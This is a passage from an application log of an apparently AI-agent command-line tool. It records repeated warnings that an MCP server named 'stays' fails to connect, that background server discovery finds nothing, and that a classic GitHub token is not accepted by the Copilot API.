tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:33:48,182 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:33:55,584 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:39:03,015 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:44:09,989 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:49:17,880 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:50:29,222 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 17:50:29,223 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 17:50:30,317 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:50:30,358 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:50:30,494 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:50:30,588 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:50:38,266 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:55:46,106 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:00:54,068 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:06:00,951 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:11:09,809 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): BrokenResourceError: 2026-09-11 18:16:16,618 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:21:25,268 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:23:29,517 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 18:23:29,686 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 18:23:29,759 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 18:23:29,947 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 18:23:37,478 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:28:44,918 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:33:51,657 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:38:58,850 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:41:31,330 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 18:41:31,362 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 18:41:31,408 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 18:41:31,447 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 18:41:39,729 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:46:48,134 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:51:55,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 18:57:03,626 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:00:15,309 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 19:00:15,309 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 19:00:16,660 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 19:00:16,736 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 19:00:16,745 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 19:00:16,811 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 19:00:25,084 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:05:32,919 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:10:41,407 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:15:48,376 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:20:56,859 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:26:04,743 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:31:13,732 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:35:48,314 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 19:35:48,484 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 19:35:48,547 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 19:35:48,650 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 19:35:55,435 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:41:02,273 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:46:10,440 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:51:18,062 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 19:56:25,217 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:01:33,031 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:06:40,179 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:11:48,489 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:16:55,485 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:22:03,665 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:27:10,748 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:32:20,189 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:37:27,457 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:42:35,724 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:47:43,028 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:52:50,914 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 20:56:39,331 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 20:56:39,331 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 20:56:41,272 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 20:56:41,462 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 20:56:41,472 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 20:56:41,579 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 20:56:48,140 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:01:55,034 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:07:02,350 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:12:10,186 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:17:22,048 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:22:29,931 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:27:37,526 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:32:45,237 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:37:52,947 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:43:00,025 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:48:08,491 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:53:17,288 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 21:58:25,388 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:03:34,404 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:08:42,157 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:13:50,371 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:18:58,126 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:20:32,722 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 22:20:32,722 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 22:20:37,765 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:20:37,840 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:20:37,869 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:20:38,025 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:20:45,981 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:25:54,267 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:31:02,704 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:36:10,588 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:40:10,275 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:40:10,440 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:40:10,454 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:40:10,567 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:40:18,621 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:45:28,126 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:50:36,513 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:51:09,314 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:51:09,535 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:51:09,567 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 22:51:09,892 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 22:51:18,715 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 22:56:26,262 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:01:34,894 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:06:43,446 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:11:51,034 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:16:59,060 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:22:06,874 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:27:14,495 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:32:22,543 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:37:30,531 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:42:37,976 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:47:45,465 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:51:28,630 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 23:51:28,630 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 23:51:31,585 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 23:51:31,633 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 23:51:31,657 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 23:51:31,678 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 23:51:39,607 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 23:56:47,732 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:01:55,427 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:07:02,646 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:12:10,497 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:14:52,702 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 00:14:52,749 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 00:14:52,774 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 00:14:52,843 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 00:15:00,878 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:20:11,632 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:25:19,123 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:30:27,290 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:35:35,529 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:40:43,037 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:45:50,290 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:47:17,845 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 00:47:17,915 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 00:47:17,942 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 00:47:18,101 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 00:47:24,958 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:52:33,001 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 00:57:39,928 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:02:47,244 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:07:54,644 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:13:02,205 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:15:20,389 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 01:15:20,389 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 01:15:24,430 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 01:15:24,526 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 01:15:24,548 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 01:15:25,035 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 01:15:33,204 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:20:41,677 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:25:49,551 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:30:56,495 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:36:04,485 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:40:33,958 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 01:41:12,708 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:46:21,452 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:47:48,178 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 01:47:48,210 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 01:47:48,232 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 01:47:48,254 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 01:47:56,596 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:53:04,982 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 01:58:13,243 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:03:20,921 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:08:29,324 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:10:22,820 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 02:10:22,915 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 02:10:22,928 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 02:10:23,027 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 02:10:31,557 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:15:39,233 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:20:46,668 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:25:53,990 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:31:00,880 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:33:27,309 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 02:33:27,309 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the 